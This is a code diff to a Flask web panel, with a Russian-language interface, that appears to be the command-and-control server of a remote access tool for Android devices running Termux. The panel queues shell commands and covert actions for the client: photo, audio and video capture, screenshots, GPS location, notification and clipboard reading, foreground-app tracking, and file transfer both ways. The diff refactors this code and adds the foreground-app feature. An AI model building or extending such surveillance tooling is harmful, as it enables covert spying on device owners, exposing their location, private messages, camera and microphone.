Update app.py

app.py

@@ -3,7 +3,7 @@ import os
 import datetime
 import uuid
 import werkzeug.utils
-import json 
+import json
 
 app = Flask(__name__)
 app.config['UPLOAD_FOLDER'] = 'uploads_from_client'
@@ -15,7 +15,7 @@ os.makedirs(app.config['FILES_TO_CLIENT_FOLDER'], exist_ok=True)
 pending_command = None
 command_output = "Ожидание команд..."
 last_client_heartbeat = None
-current_client_path = "~" 
+current_client_path = "~"
 file_to_send_to_client = None
 device_status_info = {}
 notifications_history = []
@@ -59,6 +59,7 @@ HTML_TEMPLATE = """
         .hidden-section { display: none; }
         .status-item { margin-bottom: 10px; }
         .status-item strong { color: #333; }
+        .status-item pre { margin-top: 5px; font-size:0.9em; }
         .notification-list { max-height: 400px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;}
         .notification-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; }
         .notification-item:last-child { border-bottom: none; }
@@ -75,9 +76,9 @@ HTML_TEMPLATE = """
             document.querySelector(`.sidebar a[href="#${sectionId}"]`).classList.add('active');
             currentView = sectionId;
             if (sectionId === 'files') refreshClientPathDisplay();
-            if (sectionId === 'device_status') requestDeviceStatus(); 
+            if (sectionId === 'device_status') requestDeviceStatus();
             if (sectionId === 'notifications') requestNotifications();
-            refreshOutput(); // Refresh output specifically for the current view's needs
+            refreshOutput(); // Refresh output relevant to the new section
         }
 
         async function refreshOutput() {
@@ -85,18 +86,16 @@ HTML_TEMPLATE = """
                 const response = await fetch('/get_status_output');
                 const data = await response.json();
 
-                // Update general output area if it's part of the current view logic
-                const generalOutputViews = ['dashboard', 'shell', 'media', 'clipboard', 'utils'];
-                if (data.output && generalOutputViews.includes(currentView)) {
+                if (data.output && (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils')) {
                     document.getElementById('outputArea').innerText = data.output;
                 }
-                
+
                 if (data.last_heartbeat) {
                     const statusDiv = document.getElementById('clientStatus');
                     const lastBeat = new Date(data.last_heartbeat);
                     const now = new Date();
                     const diffSeconds = (now - lastBeat) / 1000;
-                    if (diffSeconds < 45) { 
+                    if (diffSeconds < 45) {
                         statusDiv.className = 'status online';
                         statusDiv.innerText = 'Клиент ОНЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')';
                     } else {
@@ -108,33 +107,33 @@ HTML_TEMPLATE = """
                     document.getElementById('clientStatus').innerText = 'Клиент ОФФЛАЙН';
                 }
 
-                if (currentView === 'files') {
-                    if(data.current_path) document.getElementById('currentPathDisplay').innerText = data.current_path; 
-                    if (data.output && data.output.startsWith("Содержимое")) {
+                if (data.current_path && currentView === 'files') {
+                    document.getElementById('currentPathDisplay').innerText = data.current_path;
+                    if (data.output && data.output.startsWith("Содержимое") ) {
                          renderFileList(data.output, data.current_path);
-                    } else if (data.output) { // If not a listing, show raw output in file list area for context
+                    } else if (data.output && currentView === 'files') { // If output is error/message for files view
                          document.getElementById('fileList').innerHTML = `<li>${data.output.replace(/\\n/g, '<br>')}</li>`;
                     }
                 }
-                 
+
                 const filesResponse = await fetch('/list_uploaded_files');
                 const filesData = await filesResponse.json();
                 const serverFileListUl = document.getElementById('serverUploadedFiles');
-                serverFileListUl.innerHTML = ''; 
+                serverFileListUl.innerHTML = '';
                 if (filesData.files && filesData.files.length > 0) {
                     filesData.files.forEach(file => {
                         const li = document.createElement('li');
                         const a = document.createElement('a');
                         a.href = '/uploads_from_client/' + encodeURIComponent(file);
                         a.textContent = file;
-                        a.target = '_blank'; 
+                        a.target = '_blank';
                         li.appendChild(a);
                         serverFileListUl.appendChild(li);
                     });
                 } else {
                     serverFileListUl.innerHTML = '<li>Нет загруженных файлов с клиента.</li>';
                 }
-                
+
                 if (data.device_status && currentView === 'device_status') {
                     updateDeviceStatusDisplay(data.device_status);
                 }
@@ -144,40 +143,52 @@ HTML_TEMPLATE = """
 
             } catch (error) {
                 console.error("Error refreshing data:", error);
-                const generalOutputViews = ['dashboard', 'shell', 'media', 'clipboard', 'utils'];
-                 if (generalOutputViews.includes(currentView)) {
+                 if (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils') {
                     document.getElementById('outputArea').innerText = "Ошибка обновления данных с сервера.";
                 }
             }
         }
-        
+
         function updateDeviceStatusDisplay(status) {
-            document.getElementById('batteryStatus').innerHTML = status.battery ? `<strong>Заряд:</strong> ${status.battery.percentage}% (${status.battery.status}, ${status.battery.health})` : '<strong>Заряд:</strong> Н/Д';
-            document.getElementById('locationStatus').innerHTML = (status.location && status.location.latitude !== undefined) ? `<strong>Локация:</strong> ${status.location.latitude}, ${status.location.longitude} (Точность: ${status.location.accuracy}м, Скорость: ${status.location.speed} м/с)` : '<strong>Локация:</strong> Н/Д (Запросите для обновления)';
-            if (status.location && status.location.latitude && status.location.longitude) {
-                 document.getElementById('locationMapLink').innerHTML = `<a href="https://www.google.com/maps?q=${status.location.latitude},${status.location.longitude}" target="_blank">Показать на карте Google</a>`;
-            } else {
-                 document.getElementById('locationMapLink').innerHTML = '';
+            let batteryText = '<strong>Заряд:</strong> Н/Д';
+            if (status.battery) {
+                if (status.battery.error) batteryText = `<strong>Заряд:</strong> Ошибка (${status.battery.error})`;
+                else batteryText = `<strong>Заряд:</strong> ${status.battery.percentage}% (${status.battery.status}, ${status.battery.health})`;
             }
+            document.getElementById('batteryStatus').innerHTML = batteryText;
+
+            let locationText = '<strong>Локация:</strong> Н/Д (Запросите для обновления)';
+            let mapLink = '';
+            if (status.location) {
+                if (status.location.error) locationText = `<strong>Локация:</strong> Ошибка (${status.location.error})`;
+                else {
+                    locationText = `<strong>Локация:</strong> ${status.location.latitude}, ${status.location.longitude} (Точность: ${status.location.accuracy}м, Скорость: ${status.location.speed} м/с)`;
+                    if (status.location.latitude && status.location.longitude) {
+                        mapLink = `<a href="https://www.google.com/maps?q=${status.location.latitude},${status.location.longitude}" target="_blank">Показать на карте Google</a>`;
+                    }
+                }
+            }
+            document.getElementById('locationStatus').innerHTML = locationText;
+            document.getElementById('locationMapLink').innerHTML = mapLink;
+
             document.getElementById('processesStatus').innerHTML = status.processes ? `<pre>${status.processes}</pre>` : '<strong>Процессы:</strong> Н/Д (Запросите для обновления)';
+            
+            let activityText = '<strong>Текущая активность:</strong> Н/Д';
+            if (status.foreground_activity) {
+                 activityText = `<strong>Текущая активность:</strong> <pre>${status.foreground_activity}</pre>`;
+            }
+            document.getElementById('activityStatus').innerHTML = activityText;
         }
 
         function renderFileList(lsOutput, currentPath) {
             const fileListUl = document.getElementById('fileList');
             fileListUl.innerHTML = '';
-            const lines = lsOutput.split('\\n'); // Assuming client sends \n, but Flask might re-escape. Check actual data if issues.
-                                              // If outputArea shows literal \n, then split by '\n' might be needed.
-                                              // For now, assuming client replaces \n with \\n for JSON string.
-            
-            let isRootOrHome = (currentPath === '/' || currentPath === '~'); // Simplified check
-            // Check for path like /data/data/com.termux/files/home too, which is effectively ~
-            if (currentPath.startsWith('/data/data/com.termux/files/home') && 
-                (currentPath.length === '/data/data/com.termux/files/home'.length || currentPath.length === '/data/data/com.termux/files/home'.length + 1 && currentPath.endsWith('/'))) {
-                isRootOrHome = true;
-            }
-
+            const lines = lsOutput.split('\\n'); // Assuming server sends \n for newlines
 
-            if (!isRootOrHome) {
+            let isRootOrHome = (currentPath === '/' || currentPath === '~'); // Simplified check
+            // A more robust check might involve comparing to actual home path from server if available
+            
+            if (!isRootOrHome && currentPath !== osPathToUserFriendly(currentPath, true)) { // Avoid '..' if already at a root-like path
                  const parentLi = document.createElement('li');
                  parentLi.className = 'dir';
                  const parentA = document.createElement('a');
@@ -190,46 +201,40 @@ HTML_TEMPLATE = """
 
             lines.forEach(line => {
                 if (line.trim() === '' || line.startsWith("Содержимое")) return;
-                const parts = line.match(/^(\\[[DF]\\])\\s*(.*)/); // Matches literal [D] or [F]
-                if (!parts) { // Fallback for lines not matching [D]/[F] format, e.g. error messages
-                    const li = document.createElement('li');
-                    li.textContent = line;
-                    fileListUl.appendChild(li);
-                    return;
-                };
-
-                const type = parts[1]; 
+                const parts = line.match(/^(\\[[DF]\\])\\s*(.*)/);
+                if (!parts) return;
+
+                const type = parts[1];
                 const name = parts[2].trim();
-                
+
                 const li = document.createElement('li');
                 const nameSpan = document.createElement('span');
                 const a = document.createElement('a');
                 a.href = '#';
-                
+
                 if (type === '[D]') {
                     li.className = 'dir';
                     a.innerHTML = `<span class="file-icon">📁</span> ${name}`;
                     a.onclick = (e) => { e.preventDefault(); navigateTo(name); };
                     nameSpan.appendChild(a);
-                } else { // Assuming [F]
+                } else {
                     li.className = 'file';
                     a.innerHTML = `<span class="file-icon">📄</span> ${name}`;
-                    // Make file name clickable for future actions if needed, for now no-op
-                    a.onclick = (e) => { e.preventDefault(); /* Potentially show file info */ }; 
+                    // a.onclick = (e) => { e.preventDefault(); }; // No action on file click itself
                     nameSpan.appendChild(a);
 
                     const downloadBtn = document.createElement('button');
                     downloadBtn.className = 'download-btn';
                     downloadBtn.textContent = 'Скачать';
                     downloadBtn.onclick = (e) => { e.preventDefault(); requestDownloadFile(name); };
-                    li.appendChild(nameSpan); 
-                    li.appendChild(downloadBtn); 
+                    li.appendChild(nameSpan);
+                    li.appendChild(downloadBtn);
                 }
-                if (type === '[D]') li.appendChild(nameSpan); 
+                if (type === '[D]') li.appendChild(nameSpan);
                 fileListUl.appendChild(li);
             });
         }
-        
+
         function renderNotifications(notifications) {
             const notificationListDiv = document.getElementById('notificationList');
             notificationListDiv.innerHTML = '';
@@ -237,14 +242,12 @@ HTML_TEMPLATE = """
                 notifications.forEach(n => {
                     const itemDiv = document.createElement('div');
                     itemDiv.className = 'notification-item';
-                    const title = n.title || (n.ticker && n.ticker !== "null" ? n.ticker : 'Без заголовка'); // Better title fallback
-                    const content = n.content || (n.text && n.text !== "null" ? n.text : 'Нет содержимого'); // Better content fallback
                     itemDiv.innerHTML = `
-                        <strong>${title} (ID: ${n.id || 'N/A'})</strong>
+                        <strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
                         <span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
                         <span><strong>Тег:</strong> ${n.tag || 'N/A'}, <strong>Ключ:</strong> ${n.key || 'N/A'}</span>
                         <span><strong>Когда:</strong> ${n.when ? new Date(n.when).toLocaleString() : 'N/A'}</span>
-                        <p>${content}</p>
+                        <p>${n.content || 'Нет содержимого'}</p>
                     `;
                     notificationListDiv.appendChild(itemDiv);
                 });
@@ -252,15 +255,24 @@ HTML_TEMPLATE = """
                 notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
             }
         }
-        
+
+        function osPathToUserFriendly(path, checkRoot = false) { // This is a client-side helper, might not perfectly match server logic
+            if (path.startsWith('/data/data/com.termux/files/home')) {
+                let relPath = path.substring('/data/data/com.termux/files/home'.length);
+                if (relPath === '' || relPath === '/') return '~';
+                return '~' + relPath;
+            }
+            if (checkRoot && path === '/') return '/';
+            return path;
+        }
+
         async function sendGenericCommand(payload) {
             try {
-                // Show "Sending command..." in the main output area if it's relevant to the current view.
-                const generalOutputViews = ['dashboard', 'shell', 'media', 'clipboard', 'utils'];
-                if (generalOutputViews.includes(currentView)) {
+                // Set output area text based on context
+                if (currentView === 'files' && (payload.command_type === 'list_files' || payload.command_type === 'request_download_file')) {
+                     // For file operations, output is handled by fileList or global output area later
+                } else if (document.getElementById('outputArea')) {
                     document.getElementById('outputArea').innerText = "Отправка команды...";
-                } else if (currentView === 'files') {
-                    // For file view, commands might update file list, don't overwrite general output unless error
                 }
 
                 const response = await fetch('/send_command', {
@@ -270,35 +282,29 @@ HTML_TEMPLATE = """
                 });
                 if (!response.ok) {
                      console.error("Server error sending command");
-                     if (generalOutputViews.includes(currentView)) {
-                        document.getElementById('outputArea').innerText = "Ошибка сервера при отправке команды.";
-                     }
-                } 
-                // Result will be shown by refreshOutput
+                     if (document.getElementById('outputArea')) document.getElementById('outputArea').innerText = "Ошибка сервера при отправке команды.";
+                }
+                // Result will be updated by refreshOutput
             } catch (error) {
                 console.error("Network error sending command:", error);
-                 if (generalOutputViews.includes(currentView)) {
-                    document.getElementById('outputArea').innerText = "Сетевая ошибка при отправке команды.";
-                }
+                if (document.getElementById('outputArea')) document.getElementById('outputArea').innerText = "Сетевая ошибка при отправке команды.";
             }
         }
 
         function navigateTo(itemName) {
             sendGenericCommand({ command_type: 'list_files', path: itemName });
-            if (currentView === 'files') { 
+            if (currentView === 'files') {
                 document.getElementById('fileList').innerHTML = '<li>Загрузка...</li>';
             }
         }
 
         function requestDownloadFile(filename) {
             sendGenericCommand({ command_type: 'request_download_file', filename: filename });
-             const generalOutputViews = ['dashboard', 'shell', 'media', 'clipboard', 'utils'];
-            if (generalOutputViews.includes(currentView)) { // Update main output if relevant
-                 document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
+             if (document.getElementById('outputArea')) {
+                document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
             }
-            // Also good to have a specific status message in the "files" view if possible, or rely on refreshOutput for the command's direct response.
         }
-        
+
         function refreshClientPathDisplay(){
             if (document.getElementById('currentPathDisplay')) {
                  fetch('/get_status_output').then(r=>r.json()).then(data => {
@@ -308,44 +314,37 @@ HTML_TEMPLATE = """
         }
 
         window.onload = () => {
-            showSection('dashboard'); // Start with dashboard
-            setInterval(refreshOutput, 4000); // Regular refresh
-            refreshOutput(); // Initial refresh
+            showSection('dashboard');
+            setInterval(refreshOutput, 4000);
+            refreshOutput();
         };
-        
+
         function submitShellCommand(event) {
             event.preventDefault();
             const command = document.getElementById('command_str').value;
             sendGenericCommand({ command_type: 'shell', command: command });
             document.getElementById('command_str').value = '';
         }
-        
-        function submitMediaCommand(type, ...paramsConfig) { // paramsConfig = ['key1', 'valueId1', 'key2', 'valueId2'...]
+
+        function submitMediaCommand(type, paramsConfig) {
             let payload = { command_type: type };
-            if (paramsConfig.length > 0) {
-                for (let i = 0; i < paramsConfig.length; i += 2) {
-                    const paramName = paramsConfig[i];
-                    const paramValueId = paramsConfig[i+1];
-                    if (paramName && paramValueId) { 
-                        const valueElement = document.getElementById(paramValueId);
-                        // Send param if element exists and has a non-empty value, or if it's a type that might allow empty (though not for current media params)
-                        if (valueElement && valueElement.value) { 
-                             payload[paramName] = valueElement.value;
-                        } else if (valueElement && paramName === 'camera_id' && valueElement.value === '0') { // Explicitly allow '0' for camera_id
-                             payload[paramName] = valueElement.value;
-                        }
-                        // If value is empty for duration, server-side defaults will be used.
+            if (paramsConfig) {
+                paramsConfig.forEach(p => {
+                    const inputElement = document.getElementById(p.id);
+                    if (inputElement) {
+                        const value = inputElement.value;
+                        if (value) payload[p.name] = value;
                     }
-                }
+                });
             }
             sendGenericCommand(payload);
         }
-        
+
         async function handleUploadToServer(event) {
             event.preventDefault();
             const fileInput = document.getElementById('fileToUploadToDevice');
             const targetPathInput = document.getElementById('targetDevicePath');
-            
+
             if (!fileInput.files[0]) {
                 alert("Пожалуйста, выберите файл для загрузки.");
                 return;
@@ -358,7 +357,7 @@ HTML_TEMPLATE = """
             const formData = new FormData();
             formData.append('file_to_device', fileInput.files[0]);
             formData.append('target_path_on_device', targetPathInput.value);
-            
+
             document.getElementById('uploadToDeviceStatus').innerText = 'Загрузка файла на сервер...';
 
             try {
@@ -369,12 +368,10 @@ HTML_TEMPLATE = """
                 const result = await response.json();
                 if (result.status === 'success') {
                     document.getElementById('uploadToDeviceStatus').innerText = 'Файл загружен на сервер, ожидание отправки клиенту. Имя файла на сервере: ' + result.server_filename;
-                    // Command to client to download the file
-                    sendGenericCommand({ 
-                        command_type: 'receive_file', 
-                        server_filename: result.server_filename, // This is the UUID'd name
-                        target_path_on_device: result.target_path_on_device,
-                        original_filename: result.original_filename // Client needs this to save with correct name
+                    sendGenericCommand({
+                        command_type: 'receive_file',
+                        server_filename: result.server_filename,
+                        target_path_on_device: result.target_path_on_device
                     });
                 } else {
                     document.getElementById('uploadToDeviceStatus').innerText = 'Ошибка: ' + result.message;
@@ -383,7 +380,7 @@ HTML_TEMPLATE = """
                 document.getElementById('uploadToDeviceStatus').innerText = 'Сетевая ошибка при загрузке файла на сервер: ' + error;
             }
         }
-        
+
         function getClipboard() {
             sendGenericCommand({ command_type: 'clipboard_get' });
         }
@@ -402,12 +399,19 @@ HTML_TEMPLATE = """
         function requestDeviceStatus(item = null) {
             let payload = { command_type: 'get_device_status' };
             if (item) {
-                payload.item = item; 
+                payload.item = item;
             }
             sendGenericCommand(payload);
+             // Clear specific status part to show "loading" or wait for refreshOutput
+            if (item === 'location' && document.getElementById('locationStatus')) document.getElementById('locationStatus').innerHTML = '<strong>Локация:</strong> Загрузка...';
+            if (item === 'battery' && document.getElementById('batteryStatus')) document.getElementById('batteryStatus').innerHTML = '<strong>Заряд:</strong> Загрузка...';
+            if (item === 'processes' && document.getElementById('processesStatus')) document.getElementById('processesStatus').innerHTML = '<strong>Процессы:</strong> Загрузка...';
+            if (item === 'foreground_activity' && document.getElementById('activityStatus')) document.getElementById('activityStatus').innerHTML = '<strong>Текущая активность:</strong> Загрузка...';
+
         }
         function requestNotifications() {
             sendGenericCommand({ command_type: 'get_notifications' });
+            if (document.getElementById('notificationList')) document.getElementById('notificationList').innerHTML = '<p>Загрузка уведомлений...</p>';
         }
 
     </script>
@@ -458,13 +462,19 @@ HTML_TEMPLATE = """
                 <div id="locationMapLink" class="status-item"></div>
                 <button onclick="requestDeviceStatus('location')">Обновить геолокацию</button>
             </div>
-             <div class="control-section">
+            <div class="control-section">
                 <h3>Запущенные процессы (пользователя Termux)</h3>
                 <div id="processesStatus" class="status-item"><strong>Процессы:</strong> Н/Д</div>
                 <button onclick="requestDeviceStatus('processes')">Обновить процессы</button>
             </div>
+            <div class="control-section">
+                <h3>Активность (Фокусное приложение)</h3>
+                <div id="activityStatus" class="status-item"><strong>Текущая активность:</strong> Н/Д</div>
+                <button onclick="requestDeviceStatus('foreground_activity')">Получить текущую активность</button>
+                 <p style="font-size:0.8em; color:#777;">Это не кейлоггер, а информация о приложении в фокусе. Помогает понять, что используется на устройстве.</p>
+            </div>
         </div>
-        
+
         <div id="notifications" class="container hidden-section">
             <h2>Уведомления устройства</h2>
             <button onclick="requestNotifications()">Обновить уведомления</button>
@@ -481,8 +491,8 @@ HTML_TEMPLATE = """
             <p>Текущий путь на клиенте: <strong id="currentPathDisplay">~</strong></p>
             <button onclick="navigateTo('~')">Домашняя папка (~)</button>
             <button onclick="navigateTo('/sdcard/')">Внутренняя память (/sdcard/)</button>
-            <button onclick="navigateTo(document.getElementById('customPathInput').value)">Перейти к пути:</button>
-            <input type="text" id="customPathInput" placeholder="/sdcard/Download" style="width:auto; display:inline-block; margin-left:5px;">
+            <input type="text" id="customPathInput" placeholder="/sdcard/Download" style="width:auto; display:inline-block; margin-left:5px; margin-right:5px; vertical-align: middle;">
+            <button onclick="navigateTo(document.getElementById('customPathInput').value)">Перейти к пути</button>
             <div class="file-browser control-section">
                 <h3>Содержимое директории:</h3>
                 <ul id="fileList">
@@ -494,7 +504,7 @@ HTML_TEMPLATE = """
                 <form id="uploadForm" onsubmit="handleUploadToServer(event)">
                     <label for="fileToUploadToDevice">Выберите файл:</label>
                     <input type="file" id="fileToUploadToDevice" name="file_to_device" required>
-                    <label for="targetDevicePath">Путь для сохранения на устройстве (например, `/sdcard/Download/` или `~/`):</label>
+                    <label for="targetDevicePath">Путь для сохранения на устройстве (например, `/sdcard/Download/` или `~/` или `/sdcard/file.txt`):</label>
                     <input type="text" id="targetDevicePath" name="target_path_on_device" value="/sdcard/Download/" required>
                     <button type="submit">Загрузить на устройство</button>
                 </form>
@@ -511,35 +521,35 @@ HTML_TEMPLATE = """
             </form>
              <div class="control-section" style="margin-top:20px;">
                 <h3>Вывод команды:</h3>
-                <pre id="outputAreaShellCopy"></pre> <!-- This will be updated by JS -->
+                <pre id="outputAreaShellCopy"></pre>
              </div>
         </div>
 
         <div id="media" class="container hidden-section">
             <h2>Мультимедиа</h2>
             <div class="control-section">
-                <button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input')">Сделать фото</button>
+                <button onclick="submitMediaCommand('take_photo', [{name: 'camera_id', id: 'camera_id_input'}])">Сделать фото</button>
                 <label for="camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
                 <input type="text" id="camera_id_input" value="0" style="width:50px; display:inline-block;">
             </div>
             <div class="control-section">
-                <button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input')">Записать аудио</button>
+                <button onclick="submitMediaCommand('record_audio', [{name: 'duration', id: 'audio_duration_input'}])">Записать аудио</button>
                 <label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
                 <input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
             </div>
-            <div class="control-section"> <!-- New Video Record Section -->
-                <button onclick="submitMediaCommand('record_video', 'duration', 'video_duration_input', 'camera_id', 'video_camera_id_input')">Записать видео</button>
+            <div class="control-section">
+                <button onclick="submitMediaCommand('record_video', [{name: 'duration', id: 'video_duration_input'}, {name: 'camera_id', id: 'video_camera_id_input'}])">Записать видео</button>
                 <label for="video_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
                 <input type="text" id="video_duration_input" value="10" style="width:50px; display:inline-block;">
                 <label for="video_camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
                 <input type="text" id="video_camera_id_input" value="0" style="width:50px; display:inline-block;">
             </div>
             <div class="control-section">
-                <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
+                <button onclick="submitMediaCommand('screenshot', [])">Сделать скриншот</button>
             </div>
             <div class="control-section" style="margin-top:20px;">
                 <h3>Результат операции:</h3>
-                <pre id="outputAreaMediaCopy"></pre> <!-- This will be updated by JS -->
+                <pre id="outputAreaMediaCopy"></pre>
              </div>
         </div>
 
@@ -555,7 +565,7 @@ HTML_TEMPLATE = """
             </div>
              <div class="control-section" style="margin-top:20px;">
                 <h3>Результат операции с буфером:</h3>
-                <pre id="outputAreaClipboardCopy"></pre> <!-- This will be updated by JS -->
+                <pre id="outputAreaClipboardCopy"></pre>
              </div>
         </div>
 
@@ -568,10 +578,10 @@ HTML_TEMPLATE = """
             </div>
              <div class="control-section" style="margin-top:20px;">
                 <h3>Результат операции:</h3>
-                <pre id="outputAreaUtilsCopy"></pre> <!-- This will be updated by JS -->
+                <pre id="outputAreaUtilsCopy"></pre>
              </div>
         </div>
-        
+
         <div id="uploads" class="container hidden-section">
             <h2>Файлы, загруженные С клиента на сервер</h2>
             <div class="control-section">
@@ -582,25 +592,24 @@ HTML_TEMPLATE = """
         </div>
     </div>
     <script>
-        // This script runs after the main script block with functions due to placement
+        // This observer copies content from the main outputArea to section-specific ones
+        // It's placed at the end to ensure all elements are loaded
         document.addEventListener('DOMContentLoaded', () => {
             const outputArea = document.getElementById('outputArea');
             const outputAreaShellCopy = document.getElementById('outputAreaShellCopy');
             const outputAreaMediaCopy = document.getElementById('outputAreaMediaCopy');
             const outputAreaClipboardCopy = document.getElementById('outputAreaClipboardCopy');
             const outputAreaUtilsCopy = document.getElementById('outputAreaUtilsCopy');
-            
+
             const observer = new MutationObserver(() => {
-                // Update specific output areas only if their respective views are active
-                if (outputAreaShellCopy && currentView === 'shell') outputAreaShellCopy.innerText = outputArea.innerText;
-                if (outputAreaMediaCopy && currentView === 'media') outputAreaMediaCopy.innerText = outputArea.innerText;
-                if (outputAreaClipboardCopy && currentView === 'clipboard') outputAreaClipboardCopy.innerText = outputArea.innerText;
-                if (outputAreaUtilsCopy && currentView === 'utils') outputAreaUtilsCopy.innerText = outputArea.innerText;
+                if (currentView === 'shell' && outputAreaShellCopy) outputAreaShellCopy.innerText = outputArea.innerText;
+                if (currentView === 'media' && outputAreaMediaCopy) outputAreaMediaCopy.innerText = outputArea.innerText;
+                if (currentView === 'clipboard' && outputAreaClipboardCopy) outputAreaClipboardCopy.innerText = outputArea.innerText;
+                if (currentView === 'utils' && outputAreaUtilsCopy) outputAreaUtilsCopy.innerText = outputArea.innerText;
             });
 
-            // Observe the main outputArea for changes
             if (outputArea) {
-                 observer.observe(outputArea, { childList: true, characterData: true, subtree: true });
+                observer.observe(outputArea, { childList: true, characterData: true, subtree: true });
             }
         });
     </script>
@@ -614,10 +623,10 @@ def index():
 
 @app.route('/send_command', methods=['POST'])
 def handle_send_command():
-    global pending_command, command_output, current_client_path, file_to_send_to_client
+    global pending_command, command_output, file_to_send_to_client
     
     data = request.json
-    command_output = "Ожидание выполнения..." # Reset output when new command is sent
+    command_output = "Ожидание выполнения..." 
     
     command_type = data.get('command_type')
     
@@ -634,11 +643,11 @@ def handle_send_command():
         pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
     elif command_type == 'record_audio':
         pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
-    elif command_type == 'record_video':
+    elif command_type == 'record_video': # New command
         pending_command = {
-            'type': 'record_video', 
-            'duration': data.get('duration', '10'),
-            'camera_id': data.get('camera_id', '0')
+            'type': 'record_video',
+            'camera_id': data.get('camera_id', '0'),
+            'duration': data.get('duration', '10')
         }
     elif command_type == 'screenshot':
         pending_command = {'type': 'screenshot'}
@@ -648,27 +657,23 @@ def handle_send_command():
             pending_command = {'type': 'shell', 'command': command_str}
         else:
             command_output = "Ошибка: Команда не указана."
-    elif command_type == 'receive_file': # This case is triggered by JS after server uploads a file for client
-        server_filename = data.get('server_filename') # UUID'd name
+    elif command_type == 'receive_file':
+        server_filename = data.get('server_filename')
         target_path_on_device = data.get('target_path_on_device')
-        original_filename_for_client = data.get('original_filename') # Actual name client should save as
-
-        if server_filename and target_path_on_device and original_filename_for_client:
+        if server_filename and target_path_on_device:
             file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
             if os.path.exists(file_path_on_server):
                 pending_command = {
-                    'type': 'receive_file', 
+                    'type': 'receive_file',
                     'download_url': url_for('download_to_client', filename=server_filename, _external=True),
                     'target_path': target_path_on_device,
-                    'original_filename': original_filename_for_client
+                    'original_filename': os.path.basename(server_filename.split('_', 1)[1] if '_' in server_filename else server_filename) # Try to get original name
                 }
-                # No need to manage file_to_send_to_client here, as the file is already on server
+                # file_to_send_to_client = None # This variable seems unused, perhaps remove
             else:
                 command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
         else:
-            command_output = "Ошибка: Недостаточно данных для отправки файла клиенту (отсутствует server_filename, target_path или original_filename)."
-            app.logger.error(f"Receive_file error: server_filename={server_filename}, target_path={target_path_on_device}, original_filename={original_filename_for_client}")
-
+            command_output = "Ошибка: Недостаточно данных для отправки файла клиенту."
     elif command_type == 'clipboard_get':
         pending_command = {'type': 'clipboard_get'}
     elif command_type == 'clipboard_set':
@@ -681,13 +686,13 @@ def handle_send_command():
         else:
             command_output = "Ошибка: URL для открытия не указан."
     elif command_type == 'get_device_status':
-        item_requested = data.get('item') 
+        item_requested = data.get('item')
         pending_command = {'type': 'get_device_status', 'item': item_requested}
     elif command_type == 'get_notifications':
         pending_command = {'type': 'get_notifications'}
     else:
         command_output = "Неизвестный тип команды."
-            
+
     return jsonify({'status': 'command_queued'})
 
 
@@ -696,14 +701,14 @@ def get_command():
     global pending_command
     if pending_command:
         cmd_to_send = pending_command
-        pending_command = None 
+        pending_command = None
         return jsonify(cmd_to_send)
-    return jsonify(None) # Send null or {} if no command
+    return jsonify(None)
 
 @app.route('/submit_client_data', methods=['POST'])
 def submit_client_data():
     global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
-    
+
     data = request.json
     if not data:
         return jsonify({'status': 'error', 'message': 'No data received'}), 400
@@ -712,7 +717,7 @@ def submit_client_data():
 
     if 'output' in data:
         new_output = data['output']
-        max_len = 20000 
+        max_len = 20000
         if len(new_output) > max_len:
             command_output = new_output[:max_len] + "\n... (output truncated)"
         else:
@@ -723,24 +728,28 @@ def submit_client_data():
 
     if 'device_status_update' in data:
         update = data['device_status_update']
-        for key, value in update.items(): # Iterate and update specific keys
+        for key, value in update.items():
             device_status_info[key] = value
-        # If output wasn't set by a direct command, provide a generic status update message
-        if 'output' not in data: # if no specific command output, acknowledge status update
-            command_output = "Статус устройства обновлен на сервере."
-        
+        # If an explicit status update came, it might be the primary "output"
+        if 'output' not in data and (command_output == "Ожидание выполнения..." or command_output == "Клиент онлайн.") :
+             command_output = "Статус устройства обновлен."
+
+
     if 'notifications_update' in data:
-        notifications_history = data['notifications_update'] 
-        if 'output' not in data and 'device_status_update' not in data: # if no other output source
-            command_output = "Список уведомлений обновлен на сервере."
+        notifications_history = data['notifications_update']
+        if 'output' not in data and (command_output == "Ожидание выполнения..." or command_output == "Клиент онлайн."):
+            command_output = "Список уведомлений обновлен."
 
 
     if 'heartbeat' in data and data['heartbeat']:
-        # Only set "Клиент онлайн" if no other important message is pending or just received
-        if 'output' not in data and 'device_status_update' not in data and 'notifications_update' not in data:
-             command_output = "Клиент онлайн. (Heartbeat получен)"
+        # Only set to "Клиент онлайн" if no other more specific output was generated by the heartbeat or other updates
+        if ('output' not in data and 
+            'device_status_update' not in data and 
+            'notifications_update' not in data and
+            (command_output == "Ожидание выполнения..." or command_output == "Клиент онлайн.")): # Avoid overwriting real output
+                command_output = "Клиент онлайн."
         return jsonify({'status': 'heartbeat_ok'})
-        
+
     return jsonify({'status': 'data_received'})
 
 @app.route('/upload_from_client', methods=['POST'])
@@ -748,63 +757,65 @@ def upload_from_client_route():
     global command_output, last_client_heartbeat
